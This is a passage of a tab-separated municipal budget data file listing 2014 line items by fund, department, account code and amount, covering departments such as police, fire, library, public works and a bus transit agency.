9587	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1947.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1947.0
9588	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2014	230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	230.0
9589	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2014	15358.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15358.0
9590	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544010.0	SPEC DEPT SUPPLIES	810.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
9591	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588040.0	COMMUNICATIONS SYSTEMS		 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9592	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522950.0	CNG FUEL		 Supplies and Expenses	2014	248400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	248400.0
9593	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555120.0	LA SEWAGE DISPOSAL		 Supplies and Expenses	2014	6699060.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6699060.0
9594	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2014	23600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23600.0
9595	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	1188.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1188.0
9596	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	407050.0	GEN PROM BUS LIC - PICO	622.0	Other	2014	-4300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4300.0
9597	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401270.0	LEASED BEACH CONCESSIONS	612.0	Charges for Service	2014	-540000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-540000.0
9598	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511920.0	UNIFORM / TOOL ALLOWANCE	816.0	Salaries and Wages	2014	14400.0	0	0	0	0.0	1210	0.0	0	0	0	0	0.0	15610.0
9599	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	407150.0	SALE OF RECYCLED WATER	650.0	Charges for Service	2014	-90000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90000.0
9600	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	90	0.0	0	0	0	0	0.0	90.0
9601	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	21525.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21525.0
9602	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2014	0.0	0	0	0	0.0	360	0.0	0	0	0	0	0.0	360.0
9603	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2014	25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25000.0
9604	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522151.0	STORMWATER MANAGEMENT-GF	804.0	 Supplies and Expenses	2014	7053.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7053.0
9605	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2014	167.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	167.0
9606	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	3793.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3793.0
9607	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2014	3600.0	0	0	0	0.0	840	0.0	0	0	0	0	0.0	4440.0
9608	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533120.0	SPECIAL EQUIP MAINT		 Supplies and Expenses	2014	718.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	718.0
9609	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544030.0	BADGE / AWARD / NAME PLATES		 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
9610	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2014	2563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2563.0
9611	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	69991.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	69991.0
9612	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511490.0	OVERTIME	806.0	Salaries and Wages	2014	-1279.0	0	0	0	118637.0	0	7870.0	0	0	0	0	0.0	125228.0
9613	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	42202.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42202.0
9614	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
9615	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	3448554.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3448554.0
9616	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	70000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	70000.0
9617	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401330.0	MALL / DOWNTOWN MAINT DISTRICT	622.0	Other	2014	-16000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16000.0
9618	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	7000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7000.0
9619	B1	IS	1	General Fund	310	FIRE	315	TRAINING	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	314.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	314.0
9620	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	131998.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	131998.0
9621	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2014	2800000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2800000.0
9622	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2014	5593.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5593.0
9623	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511730.0	WORKERS' COMP INSURANCE	812.0	Salaries and Wages	2014	75867.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	75867.0
9624	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	3895.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3895.0
9625	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	1045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1045.0
9626	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	95.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	95.0
9627	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544040.0	BOOKS/PAMPHLETS	812.0	 Supplies and Expenses	2014	570446.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	570446.0
9628	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	95.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	95.0
9629	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555190.0	CORPORATE LIBRARY SYSTEMS	812.0	 Supplies and Expenses	2014	1700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1700.0
9630	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
9631	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	6482.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6482.0
9632	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	17704.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17704.0
9633	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	110000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	110000.0
9634	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
9635	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	80000.0	0	0	0	0	0.0	80000.0
9636	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2014	256858.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256858.0
9637	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2014	458344.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	458344.0
9638	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2014	19794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19794.0
9639	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2014	226556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	226556.0
9640	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2014	3821078.0	0	0	0	0.0	60317	-1568.0	0	0	0	0	0.0	3879827.0
9641	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
9642	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522620.0	RENT	866.0	 Supplies and Expenses	2014	102000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	102000.0
9643	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2014	195500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	195500.0
9644	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511040.0	COUNCIL/BOARD ALLOWANCE	840.0	Salaries and Wages	2014	2556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2556.0
9645	B1	IS	14	TORCA Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	910.0	 Supplies and Expenses	2014	98910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	98910.0
9646	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	910.0	 Supplies and Expenses	2014	62253.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62253.0
9647	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2014	1111443.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1111443.0
9648	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522030.0	INVESTIGATION EXPENSES	862.0	 Supplies and Expenses	2014	25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25000.0
9649	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522050.0	MEDICAL EXAMS	862.0	 Supplies and Expenses	2014	25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25000.0
9650	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	4750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4750.0
9651	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1805.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1805.0
9652	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	3135.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3135.0
9653	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544120.0	PERIODICALS	812.0	 Supplies and Expenses	2014	86155.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	86155.0
9654	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	6461.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6461.0
9655	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	13888.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13888.0
9656	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	18228.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18228.0
9657	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2014	2038.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2038.0
9658	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	5301551.0	0	0	0	0.0	84399	49098.08	0	0	0	0	0.0	5435048.08
9659	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	298120.0	0	0	0	0.0	0	-49373.33	0	0	0	0	0.0	248746.67
9660	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	126500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	126500.0
9661	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555070.0	RECYCLING/DISPOSAL FEES	808.0	 Supplies and Expenses	2014	4240000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4240000.0
9662	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2014	325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	325.0
9663	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	65000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65000.0
9664	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	645	0.0	0	0	0	0	0.0	15645.0
9665	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2014	24400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24400.0
9666	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511710.0	MEDICARE EMPLOYER CONTRIBUTION	840.0	Salaries and Wages	2014	250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250.0
9667	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2014	950.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	950.0
9668	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2014	226556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	226556.0
9669	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555010.0	CONTRACTUAL SERVICES	844.0	 Supplies and Expenses	2014	620500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	620500.0
9670	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER REIMB		 Supplies and Expenses	2014	1127231.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1127231.0
9671	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2014	-108632.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-108632.0
9672	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522720.0	MILEAGE	808.0	 Supplies and Expenses	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
9673	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	24000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24000.0
9674	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588200.0	BLDG RENOVATION / MAINTENANCE	808.0	 Supplies and Expenses	2014	29000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29000.0
9675	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544110.0	PRINTED FORMS	808.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
9676	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544260.0	BIN REPAIR	808.0	 Supplies and Expenses	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
9677	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	393821.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	393821.0
9678	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	15198.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15198.0
9679	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2014	311.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	311.0
9680	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2014	300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	300.0
9681	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2014	3910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3910.0
9682	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2014	85822.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	85822.0
9683	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2014	52531.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52531.0
9684	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	7500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7500.0
9685	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522120.0	UTILITIES - NATURAL GAS	850.0	 Supplies and Expenses	2014	28000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28000.0
9686	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV	908.0	 Supplies and Expenses	2014	-92000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-92000.0
9687	B1	IS	33	Airport Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC		 Supplies and Expenses	2014	-30764.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-30764.0
9688	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522060.0	COURT FILING FEES	862.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9689	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2014	250000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250000.0
9690	B1	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2014	-1988462.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1988462.0
9691	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	400940.0	CDBG CURRENT ALLOCATION	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	-995441	0	0	0	-20000.0	-1015441.0
9692	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522180.0	BANK FEES		 Supplies and Expenses	2015	480.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	480.0
9693	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402310.0	WATER - COMMERCIAL SALES	650.0	Charges for Service	2014	-20605462.0	0	0	0	0.0	0	0.0	0	0	0	0	-577983.0	-21183445.0
9694	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401520.0	SPECIAL PICK-UPS	650.0	Charges for Service	2014	-35894.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35894.0
9695	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577720.0	CDBG REIMBURSEMENT-HUMAN SVCS	908.0	 Supplies and Expenses	2014	-59500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-59500.0
9696	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2014	901114.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	901114.0
9697	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522070.0	DEPOSITION COSTS	862.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
9698	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401500.0	GARB/REFUSE COLLECTION FEES	650.0	Charges for Service	2014	-22977874.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-22977874.0
9699	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402400.0	INSURANCE RECOVERY	650.0	Charges for Service	2014	-50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-50000.0
9700	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402430.0	SELF-INSURANCE WORKERS COMP	650.0	Charges for Service	2014	-9810765.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9810765.0
9701	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401350.0	GEN PROM BUS LICENSE MONTANA	622.0	Other	2014	-5350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5350.0
9702	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404590.0	SUBDIVISION MAP FEES	612.0	Charges for Service	2014	-11263.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11263.0
9703	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401600.0	LIBRARY FINES	614.0	Fines and Forfeitures	2014	-290000.0	0	0	0	0.0	0	55000.0	0	0	0	0	0.0	-235000.0
9704	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	13950.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13950.0
9705	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2014	10750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10750.0
9706	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	6081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6081.0
9707	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	175250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	175250.0
9708	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	-2177.0	0	0	0	1350.0	0	0.0	0	0	0	0	0.0	-827.0
